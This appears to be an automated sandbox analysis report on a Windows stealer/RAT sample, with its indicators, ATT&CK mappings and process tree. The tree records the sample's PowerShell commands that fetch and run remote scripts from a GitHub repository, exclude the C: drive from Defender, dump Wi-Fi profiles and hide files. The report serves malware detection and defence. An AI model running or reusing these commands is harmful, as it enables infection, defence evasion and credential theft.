8c5f32cc741cbe94cc0d2af542cb88b9f583e5d8e51b754f6ffc052cd9998e79

Analysis

max time kernel
137s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2024, 04:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe
Size

14.0MB
MD5

80ee3238270f38c66068799b020b2fe6
SHA1

32b6ea2a6fc2c5b2821694a0d8e1f6c3a8faaead
SHA256

8c5f32cc741cbe94cc0d2af542cb88b9f583e5d8e51b754f6ffc052cd9998e79
SHA512

fd92cabbdc28da85f5c4bd30924425dc2b165a437b7da0e35b4d71eb534941040135c255d3f9c50e4b0c52c8de8ddbea7beb092c1175de1cdbb6872c6988d160
SSDEEP

196608:f247x52HYiTv51K4iIfPIC9zMdfarCB2YuADk0korks:fxxkTb94C9wkg2xWk0koQs

Score

9^/10

credential_access discovery evasion execution persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	4540	powershell.exe
17	2196	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe
4540	powershell.exe
2196	powershell.exe
464	PowerShell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4068	netsh.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com
17	raw.githubusercontent.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4008	ARP.EXE

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Thunder_Kitty.jpg"	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1108	netsh.exe
3888	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
2096	NETSTAT.EXE

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2708	ipconfig.exe
2760	ipconfig.exe
2096	NETSTAT.EXE

Kills process with taskkill 1 IoCs

evasion

pid	Process
3420	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\Desktop\WallpaperStyle = "2"	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\Desktop\TileWallpaper = "0"	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4540	powershell.exe
2196	powershell.exe
1440	powershell.exe
464	PowerShell.exe
464	PowerShell.exe
4540	powershell.exe
1440	powershell.exe
2196	powershell.exe
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	464	PowerShell.exe
Token: SeDebugPrivilege	3420	taskkill.exe
Token: 33	3336	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3336	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 4540	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	85
PID 4572 wrote to memory of 4540	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	85
PID 4572 wrote to memory of 2196	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	86
PID 4572 wrote to memory of 2196	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	86
PID 4572 wrote to memory of 1440	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	87
PID 4572 wrote to memory of 1440	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	87
PID 4572 wrote to memory of 2808	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	89
PID 4572 wrote to memory of 2808	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	89
PID 4572 wrote to memory of 1584	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	90
PID 4572 wrote to memory of 1584	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	90
PID 4572 wrote to memory of 464	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	91
PID 4572 wrote to memory of 464	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	91
PID 4572 wrote to memory of 4068	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	108
PID 4572 wrote to memory of 4068	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	108
PID 4068 wrote to memory of 652	4068	cmd.exe	93
PID 4068 wrote to memory of 652	4068	cmd.exe	93
PID 4540 wrote to memory of 1276	4540	powershell.exe	94
PID 4540 wrote to memory of 1276	4540	powershell.exe	94
PID 1276 wrote to memory of 3704	1276	csc.exe	95
PID 1276 wrote to memory of 3704	1276	csc.exe	95
PID 2196 wrote to memory of 1040	2196	powershell.exe	96
PID 2196 wrote to memory of 1040	2196	powershell.exe	96
PID 1040 wrote to memory of 4040	1040	csc.exe	97
PID 1040 wrote to memory of 4040	1040	csc.exe	97
PID 4572 wrote to memory of 3420	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	99
PID 4572 wrote to memory of 3420	4572	2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe	99
PID 2196 wrote to memory of 1108	2196	powershell.exe	104
PID 2196 wrote to memory of 1108	2196	powershell.exe	104
PID 2196 wrote to memory of 4408	2196	powershell.exe	106
PID 2196 wrote to memory of 4408	2196	powershell.exe	106
PID 4408 wrote to memory of 2532	4408	net.exe	107
PID 4408 wrote to memory of 2532	4408	net.exe	107
PID 2196 wrote to memory of 4068	2196	powershell.exe	108
PID 2196 wrote to memory of 4068	2196	powershell.exe	108
PID 2196 wrote to memory of 920	2196	powershell.exe	109
PID 2196 wrote to memory of 920	2196	powershell.exe	109
PID 2196 wrote to memory of 4432	2196	powershell.exe	110
PID 2196 wrote to memory of 4432	2196	powershell.exe	110
PID 4432 wrote to memory of 1000	4432	net.exe	111
PID 4432 wrote to memory of 1000	4432	net.exe	111
PID 2196 wrote to memory of 2760	2196	powershell.exe	112
PID 2196 wrote to memory of 2760	2196	powershell.exe	112
PID 2196 wrote to memory of 4504	2196	powershell.exe	113
PID 2196 wrote to memory of 4504	2196	powershell.exe	113
PID 4504 wrote to memory of 2468	4504	net.exe	114
PID 4504 wrote to memory of 2468	4504	net.exe	114
PID 2196 wrote to memory of 1848	2196	powershell.exe	117
PID 2196 wrote to memory of 1848	2196	powershell.exe	117
PID 2196 wrote to memory of 2096	2196	powershell.exe	118
PID 2196 wrote to memory of 2096	2196	powershell.exe	118
PID 2196 wrote to memory of 3748	2196	powershell.exe	119
PID 2196 wrote to memory of 3748	2196	powershell.exe	119
PID 2196 wrote to memory of 2708	2196	powershell.exe	120
PID 2196 wrote to memory of 2708	2196	powershell.exe	120
PID 2196 wrote to memory of 928	2196	powershell.exe	121
PID 2196 wrote to memory of 928	2196	powershell.exe	121
PID 2196 wrote to memory of 4008	2196	powershell.exe	122
PID 2196 wrote to memory of 4008	2196	powershell.exe	122
PID 2196 wrote to memory of 3888	2196	powershell.exe	123
PID 2196 wrote to memory of 3888	2196	powershell.exe	123

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-25_80ee3238270f38c66068799b020b2fe6_poet-rat_snatch.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qzg1enrz\qzg1enrz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6B0.tmp" "c:\Users\Admin\AppData\Local\Temp\qzg1enrz\CSC621F90E12C744A88AECAADD4B4518DEC.TMP"
      4⤵
      PID:3704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ilzkk5hh\ilzkk5hh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAA88.tmp" "c:\Users\Admin\AppData\Local\Temp\ilzkk5hh\CSCE541AD0D8C44DF9B2C53A342D8CDDA1.TMP"
      4⤵
      PID:4040
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1108
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators
      4⤵
      PID:2532
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4068
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /all
    3⤵
    PID:920
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1000
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /displaydns
    3⤵
    - Gathers network information
    PID:2760
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      PID:2468
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
    3⤵
    PID:1848
- - C:\Windows\system32\NETSTAT.EXE
    "C:\Windows\system32\NETSTAT.EXE" -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    PID:2096
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
    3⤵
    PID:3748
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /all
    3⤵
    - Gathers network information
    PID:2708
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print
    3⤵
    PID:928
- - C:\Windows\system32\ARP.EXE
    "C:\Windows\system32\ARP.EXE" -a
    3⤵
    - Network Service Discovery
    PID:4008
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profile
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\system32\cmd.exe
  cmd.exe /c start facebook.com
  2⤵
  PID:2808
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
  2⤵
  - Views/modifies file attributes
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
  PowerShell -Command "(New-Object -ComObject SAPI.SpVoice).Speak(\"hey hey\")"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\system32\cmd.exe
  cmd /c rundll32.exe user32.dll,SwapMouseButton
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\rundll32.exe
    rundll32.exe user32.dll,SwapMouseButton
    3⤵
    PID:652
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wallpaper32.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3420

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x4fc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

